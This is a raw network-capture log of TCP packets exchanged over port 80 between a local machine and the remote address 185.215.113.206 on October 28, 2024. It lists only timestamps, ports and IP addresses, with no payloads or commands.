Oct 28, 2024 08:17:32.765717983 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.765731096 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.765754938 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:32.765793085 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:32.766590118 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.766601086 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.766618013 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.766654015 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:32.766757965 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:32.767127991 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.767138004 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.767148972 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.767214060 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:32.767218113 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.767230034 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.767249107 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:32.767318010 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:32.768033981 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.768136978 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.768146992 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:32.768265009 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:32.927179098 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.927195072 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.927212000 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.927227974 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.927239895 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.927269936 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:32.927269936 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:32.927326918 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:32.927484989 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.927540064 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.927603006 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:32.927795887 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.927822113 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.927839041 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.927854061 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.927890062 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:32.927890062 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:32.927927971 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:32.928155899 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.928173065 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.928188086 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.928217888 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:32.928217888 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:32.928234100 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.928236961 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:32.928250074 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.928266048 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.928272963 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.928303957 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:32.928361893 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:32.929085016 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.929100990 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.929116964 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.929160118 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.929176092 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.929194927 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.929197073 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:32.929197073 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:32.929197073 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:32.929212093 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.929244995 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:32.929244995 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:32.929276943 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:32.929873943 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.929929972 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.929945946 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:32.929946899 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.929963112 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:32.929965019 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.930016994 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:32.930016994 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.048271894 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.048286915 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.048301935 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.048319101 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.048332930 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.048361063 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.048361063 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.048396111 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.048434973 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.048451900 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.048466921 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.048516035 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.048554897 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.048578978 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.048640013 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.048924923 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.048940897 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.048955917 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.048970938 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.048990965 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.049010038 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.049067020 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.049082994 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.049129009 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.049316883 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.049331903 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.049384117 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.049405098 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.049506903 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.049521923 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.049561977 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.049576998 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.049654007 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.049839020 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.049854040 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.049874067 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.049901962 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.049931049 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.049977064 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.049993992 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.050028086 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.050045013 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.090122938 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.090152025 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.090167046 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.090181112 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.090195894 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.090210915 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.090225935 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.090255022 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.090312004 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.166021109 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.166035891 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.166126013 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.166126013 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.166182995 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.166198969 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.166214943 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.166235924 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.166243076 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.166250944 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.166259050 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.166275978 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.166292906 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.166299105 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.166299105 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.166310072 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.166332006 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.166346073 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.166456938 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.166456938 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.167021990 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.167037964 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.167052984 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.167078018 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.167092085 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.167109013 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.167110920 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.167110920 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.167124987 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.167140961 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.167150974 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.167150974 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.167208910 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.167723894 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.167740107 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.167754889 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.167792082 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.167872906 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.209595919 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.209613085 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.209635019 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.209661961 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.209671021 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.209676027 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.209692001 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.209718943 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.209737062 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.209748983 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.209888935 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.209888935 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.209888935 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.209888935 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.285312891 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.285340071 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.285406113 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.285406113 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.285443068 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.285473108 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.285501003 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.285520077 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.285536051 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.285547018 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.285571098 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.285593987 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.285600901 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.285609961 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.285624981 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.285674095 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.285736084 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.286091089 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.286170959 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.286197901 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.286225080 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.286241055 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.286254883 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.286262035 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.286262035 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.286271095 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.286281109 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.286288023 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.286298990 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.286308050 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.286323071 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.286349058 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.286375046 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.286936998 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.286953926 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.286978006 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.286994934 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.287014961 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.287014961 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.287050962 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.329027891 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.329060078 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.329077959 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.329093933 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.329112053 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.329159975 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.329190016 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.329210043 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.329226971 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.329243898 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.329281092 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.329334974 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.329756975 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.329773903 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.329790115 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.329803944 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.329821110 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.329865932 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.329865932 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.404555082 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.404656887 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.404656887 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.404670000 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.404686928 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.404697895 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.404721022 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.404750109 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.404750109 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.404779911 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.404809952 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.404848099 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.404869080 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.404942036 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.404958010 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.405002117 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.405034065 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.405164957 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.405181885 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.405196905 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.405213118 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.405225992 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.405242920 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.405252934 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.405265093 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.405278921 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.405281067 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.405298948 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.405320883 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.405354023 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.405806065 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.405900002 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.405941010 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.405955076 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.406003952 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.406003952 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.406053066 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.406069040 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.406085014 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.406107903 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.406107903 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.406136990 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.406328917 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.406346083 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.406362057 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.406383991 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.406414986 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.448352098 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.448379993 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.448405981 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.448421001 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.448425055 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.448440075 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.448513985 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.448513985 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.448620081 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.448637962 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.448654890 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.448671103 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.448699951 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.448736906 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.448874950 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.448926926 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.448944092 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.448961020 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.448987961 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.449012995 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.449048996 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.524305105 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.524375916 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.524398088 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.524425030 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.524439096 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.524454117 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.524466038 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.524507046 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.524585962 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.524601936 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.524619102 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.524646044 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.524662971 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.524669886 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.524669886 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.524759054 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.525268078 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.525296926 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.525356054 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.525401115 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.525417089 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.525439978 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.525490999 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.525583982 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.525652885 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.525670052 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.525732994 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.526036024 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.526051044 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.526078939 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.526093960 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.526108980 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.526246071 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:33.570492029 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.570530891 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.570565939 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.570602894 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:33.570611954 CET	49766	80	192.168.2.4	185.215.113.206
